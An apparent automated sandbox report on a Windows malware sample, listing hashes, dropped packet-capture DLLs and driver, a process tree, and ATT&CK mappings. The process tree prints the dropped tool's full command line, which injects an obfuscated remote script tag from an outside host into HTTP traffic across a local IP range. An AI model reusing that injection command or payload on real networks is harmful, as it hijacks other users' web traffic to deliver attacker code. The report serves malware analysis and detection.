30b6789a6a49c7b5a82d2c2ddf52d1c77ce50ce0b8b2568d4edde594e5d4652e

Analysis

max time kernel
148s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
29/12/2023, 20:30

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General

Target

032d7cb609f83f27964560bebfc37a04.exe
Size

525KB
MD5

032d7cb609f83f27964560bebfc37a04
SHA1

c8aa87b6ba9d7d5432b6426b94d148e46b9073ac
SHA256

30b6789a6a49c7b5a82d2c2ddf52d1c77ce50ce0b8b2568d4edde594e5d4652e
SHA512

c8314ea1ee32dac8a2cd954792b1d69e0f4af7f8d98949544bbcba96685870045c51db2de81e05f7ceea1210f963a5ae87f5132df394003dc4231e75319e6e0f
SSDEEP

6144:wM8MSbxohE9q2PsXrSVew/X2+wZHeSPVep6s6BCF6GfEWfadRNH0QOPoS:wHNx2E9/cZw/X6eSPtfS6G6aPoS

Score

8^/10

Malware Config

Signatures

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\drivers\npf.sys	032d7cb609f83f27964560bebfc37a04.exe

Executes dropped EXE 1 IoCs

pid	Process
3244	360uawm.exe

Loads dropped DLL 6 IoCs

pid	Process
3244	360uawm.exe
3244	360uawm.exe
3244	360uawm.exe
3244	360uawm.exe
3244	360uawm.exe
3244	360uawm.exe

Drops file in System32 directory 5 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\360uawm.exe	032d7cb609f83f27964560bebfc37a04.exe
File created	C:\Windows\SysWOW64\npptools.dll	032d7cb609f83f27964560bebfc37a04.exe
File created	C:\Windows\SysWOW64\Packet.dll	032d7cb609f83f27964560bebfc37a04.exe
File created	C:\Windows\SysWOW64\WanPacket.dll	032d7cb609f83f27964560bebfc37a04.exe
File created	C:\Windows\SysWOW64\wpcap.dll	032d7cb609f83f27964560bebfc37a04.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-768304381-2824894965-3840216961-1000_Classes\Local Settings	032d7cb609f83f27964560bebfc37a04.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3824	PING.EXE

Suspicious behavior: LoadsDriver 5 IoCs

pid	Process
644	Process not Found
644	Process not Found
644	Process not Found
644	Process not Found
644	Process not Found

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 456 wrote to memory of 3244	456	032d7cb609f83f27964560bebfc37a04.exe	103
PID 456 wrote to memory of 3244	456	032d7cb609f83f27964560bebfc37a04.exe	103
PID 456 wrote to memory of 3244	456	032d7cb609f83f27964560bebfc37a04.exe	103
PID 456 wrote to memory of 1688	456	032d7cb609f83f27964560bebfc37a04.exe	117
PID 456 wrote to memory of 1688	456	032d7cb609f83f27964560bebfc37a04.exe	117
PID 456 wrote to memory of 1688	456	032d7cb609f83f27964560bebfc37a04.exe	117
PID 1688 wrote to memory of 3824	1688	backgroundTaskHost.exe	107
PID 1688 wrote to memory of 3824	1688	backgroundTaskHost.exe	107
PID 1688 wrote to memory of 3824	1688	backgroundTaskHost.exe	107

C:\Users\Admin\AppData\Local\Temp\032d7cb609f83f27964560bebfc37a04.exe
"C:\Users\Admin\AppData\Local\Temp\032d7cb609f83f27964560bebfc37a04.exe"
1⤵
- Drops file in Drivers directory
- Drops file in System32 directory
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:456
- C:\Windows\SysWOW64\360uawm.exe
  -idx 0 -ip 10.127.0.2-10.127.0.254 -port 80 -insert "<script language=JavaScript src=http://e%64a.P%61ss%69ngG%61s.n%65t/tj.js></script>"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:3244
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c 12.bat
  2⤵
  PID:1688

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:2952

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1 -n 5
1⤵
- Runs ping.exe
PID:3824

C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
1⤵
- Suspicious use of WriteProcessMemory
PID:1688

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Windows\SysWOW64\360uawm.exe

Filesize
381KB

MD5
7f9b2d7a3bfed5131ea5c00ee7901078

SHA1
91138d690868c7c6129ed9cbf931d024e3862a56

SHA256
007859f01620750403d081a52841c89fec3e9c0c4138bd16301f8e197ff00ba8

SHA512
fc11856deb1300c8bc6c0cfd6306856d11c4ee61bcf6afd9aee62b90b5a92cd84f920b034b21c778ae991c7a00f6f27035e8e8a0d7853caf55056cb7ec4f1e05

Download Submit
memory/456-0-0x0000000000400000-0x0000000000485000-memory.dmp

Filesize
532KB

Download
memory/456-5-0x0000000000400000-0x0000000000485000-memory.dmp

Filesize
532KB

Download
memory/3244-25-0x0000000000400000-0x000000000040F000-memory.dmp

Filesize
60KB

Download
memory/3244-21-0x0000000000570000-0x0000000000580000-memory.dmp

Filesize
64KB

Download
memory/3244-17-0x0000000000550000-0x0000000000565000-memory.dmp

Filesize
84KB

Download
memory/3244-10-0x0000000000400000-0x000000000040F000-memory.dmp

Filesize
60KB

Download